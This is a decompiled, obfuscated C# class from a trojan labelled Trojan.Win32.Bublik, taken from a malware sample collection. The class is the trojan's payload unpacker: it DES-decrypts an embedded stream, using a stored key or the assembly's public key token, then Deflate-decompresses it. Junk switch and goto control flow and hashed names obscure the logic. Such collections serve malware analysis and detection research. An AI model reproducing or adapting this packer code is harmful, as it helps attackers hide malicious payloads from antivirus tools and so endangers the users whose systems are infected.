MalwareSourceCode/MSIL/Trojan/Win32/B/Trojan.Win32.Bublik.elhu-ed0d569ec8fd2e2d6812dba8d62238da6ea0bd69bdb94d8701830057b4b02ac4/c5269112b03e601219f1714817a27b79a.cs

// Decompiled with JetBrains decompiler
// Type: A.c5269112b03e601219f1714817a27b79a
// Assembly: Club, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A9E8E336-37BF-4AEB-A0AA-C09A4AE1EC93
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Bublik.elhu-ed0d569ec8fd2e2d6812dba8d62238da6ea0bd69bdb94d8701830057b4b02ac4.exe

using System;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Security.Cryptography;

namespace A
{
  internal class c5269112b03e601219f1714817a27b79a
  {
    private static MemoryStream cd2eaac5e5f73ec3a66fdd3ed367eeced;
    private static MemoryStream c6f2cbc6593d40410ef94f1b8258739e0;
    private static object c1f7900f43ed675e62b2abd919f121dd3;
    private static int cda9a7d97b6e4e1056818dbe1f3855a7c = int.MaxValue;
    private static int c14664cb24e0f9f35e1b155f5f1c3a44b = int.MinValue;

    static c5269112b03e601219f1714817a27b79a()
    {
      c5269112b03e601219f1714817a27b79a.cd2eaac5e5f73ec3a66fdd3ed367eeced = (MemoryStream) null;
      c5269112b03e601219f1714817a27b79a.c6f2cbc6593d40410ef94f1b8258739e0 = (MemoryStream) null;
      c5269112b03e601219f1714817a27b79a.c1f7900f43ed675e62b2abd919f121dd3 = new object();
    }

    internal static byte[] c09b1f452b50c37ba72a9d599e693a36c(
      Stream c97c5608f851a4e11ad0df790743f222e)
    {
      lock (c5269112b03e601219f1714817a27b79a.c1f7900f43ed675e62b2abd919f121dd3)
      {
        Stream stream = c97c5608f851a4e11ad0df790743f222e;
        MemoryStream memoryStream = (MemoryStream) null;
        byte num1 = (byte) c97c5608f851a4e11ad0df790743f222e.ReadByte();
        if (((int) num1 & 1) != 0)
        {
label_2:
          switch (5)
          {
            case 0:
              goto label_2;
            default:
              if (false)
              {
                // ISSUE: method reference
                RuntimeMethodHandle runtimeMethodHandle = __methodref (c5269112b03e601219f1714817a27b79a.c09b1f452b50c37ba72a9d599e693a36c);
              }
              DESCryptoServiceProvider cryptoServiceProvider = new DESCryptoServiceProvider();
              byte[] buffer1 = new byte[8];
              c97c5608f851a4e11ad0df790743f222e.Read(buffer1, 0, 8);
              cryptoServiceProvider.IV = buffer1;
              byte[] buffer2 = new byte[8];
              c97c5608f851a4e11ad0df790743f222e.Read(buffer2, 0, 8);
              bool flag = true;
              foreach (byte num2 in buffer2)
              {
                if (num2 != (byte) 0)
                {
                  flag = false;
                  goto label_11;
                }
              }
label_10:
              switch (3)
              {
                case 0:
                  goto label_10;
              }
label_11:
              if (flag)
                buffer2 = Assembly.GetExecutingAssembly().GetName().GetPublicKeyToken();
              cryptoServiceProvider.Key = buffer2;
              if (c5269112b03e601219f1714817a27b79a.cd2eaac5e5f73ec3a66fdd3ed367eeced == null)
              {
label_14:
                switch (1)
                {
                  case 0:
                    goto label_14;
                  default:
                    if (c5269112b03e601219f1714817a27b79a.cda9a7d97b6e4e1056818dbe1f3855a7c == int.MaxValue)
                    {
label_16:
                      switch (5)
                      {
                        case 0:
                          goto label_16;
                        default:
                          c5269112b03e601219f1714817a27b79a.cd2eaac5e5f73ec3a66fdd3ed367eeced = new MemoryStream((int) c97c5608f851a4e11ad0df790743f222e.Length);
                          break;
                      }
                    }
                    else
                    {
                      c5269112b03e601219f1714817a27b79a.cd2eaac5e5f73ec3a66fdd3ed367eeced = new MemoryStream(c5269112b03e601219f1714817a27b79a.cda9a7d97b6e4e1056818dbe1f3855a7c);
                      break;
                    }
                    break;
                }
              }
              c5269112b03e601219f1714817a27b79a.cd2eaac5e5f73ec3a66fdd3ed367eeced.Position = 0L;
              ICryptoTransform decryptor = cryptoServiceProvider.CreateDecryptor();
              int inputBlockSize = decryptor.InputBlockSize;
              int outputBlockSize = decryptor.OutputBlockSize;
              byte[] numArray1 = new byte[decryptor.OutputBlockSize];
              byte[] numArray2 = new byte[decryptor.InputBlockSize];
              int position;
              for (position = (int) c97c5608f851a4e11ad0df790743f222e.Position; (long) (position + inputBlockSize) < c97c5608f851a4e11ad0df790743f222e.Length; position += inputBlockSize)
              {
                c97c5608f851a4e11ad0df790743f222e.Read(numArray2, 0, inputBlockSize);
                int count = decryptor.TransformBlock(numArray2, 0, inputBlockSize, numArray1, 0);
                c5269112b03e601219f1714817a27b79a.cd2eaac5e5f73ec3a66fdd3ed367eeced.Write(numArray1, 0, count);
              }
label_22:
              switch (3)
              {
                case 0:
                  goto label_22;
                default:
                  c97c5608f851a4e11ad0df790743f222e.Read(numArray2, 0, (int) (c97c5608f851a4e11ad0df790743f222e.Length - (long) position));
                  byte[] buffer3 = decryptor.TransformFinalBlock(numArray2, 0, (int) (c97c5608f851a4e11ad0df790743f222e.Length - (long) position));
                  c5269112b03e601219f1714817a27b79a.cd2eaac5e5f73ec3a66fdd3ed367eeced.Write(buffer3, 0, buffer3.Length);
                  stream = (Stream) c5269112b03e601219f1714817a27b79a.cd2eaac5e5f73ec3a66fdd3ed367eeced;
                  stream.Position = 0L;
                  memoryStream = c5269112b03e601219f1714817a27b79a.cd2eaac5e5f73ec3a66fdd3ed367eeced;
                  break;
              }
              break;
          }
        }
        if (((int) num1 & 2) != 0)
        {
label_25:
          switch (3)
          {
            case 0:
              goto label_25;
            default:
              try
              {
                if (c5269112b03e601219f1714817a27b79a.c6f2cbc6593d40410ef94f1b8258739e0 == null)
                {
label_27:
                  switch (6)
                  {
                    case 0:
                      goto label_27;
                    default:
                      if (c5269112b03e601219f1714817a27b79a.c14664cb24e0f9f35e1b155f5f1c3a44b == int.MinValue)
                      {
label_29:
                        switch (7)
                        {
                          case 0:
                            goto label_29;
                          default:
                            c5269112b03e601219f1714817a27b79a.c6f2cbc6593d40410ef94f1b8258739e0 = new MemoryStream((int) stream.Length * 2);
                            break;
                        }
                      }
                      else
                      {
                        c5269112b03e601219f1714817a27b79a.c6f2cbc6593d40410ef94f1b8258739e0 = new MemoryStream(c5269112b03e601219f1714817a27b79a.c14664cb24e0f9f35e1b155f5f1c3a44b);
                        break;
                      }
                      break;
                  }
                }
                c5269112b03e601219f1714817a27b79a.c6f2cbc6593d40410ef94f1b8258739e0.Position = 0L;
                DeflateStream deflateStream = new DeflateStream(stream, CompressionMode.Decompress);
                int count1 = 1000;
                byte[] buffer = new byte[count1];
                int count2;
                do
                {
                  count2 = deflateStream.Read(buffer, 0, count1);
                  if (count2 > 0)
                  {
label_34:
                    switch (1)
                    {
                      case 0:
                        goto label_34;
                      default:
                        c5269112b03e601219f1714817a27b79a.c6f2cbc6593d40410ef94f1b8258739e0.Write(buffer, 0, count2);
                        break;
                    }
                  }
                }
                while (count2 >= count1);
label_37:
                switch (4)
                {
                  case 0:
                    goto label_37;
                  default:
                    memoryStream = c5269112b03e601219f1714817a27b79a.c6f2cbc6593d40410ef94f1b8258739e0;
                    break;
                }
              }
              catch (Exception ex)
              {
                break;
              }
              break;
          }
        }
        if (memoryStream != null)
        {
label_41:
          switch (5)
          {
            case 0:
              goto label_41;
            default:
              return memoryStream.ToArray();
          }
        }
        else
        {
          byte[] buffer = new byte[c97c5608f851a4e11ad0df790743f222e.Length - c97c5608f851a4e11ad0df790743f222e.Position];
          c97c5608f851a4e11ad0df790743f222e.Read(buffer, 0, buffer.Length);
          return buffer;
        }
      }
    }
  }
}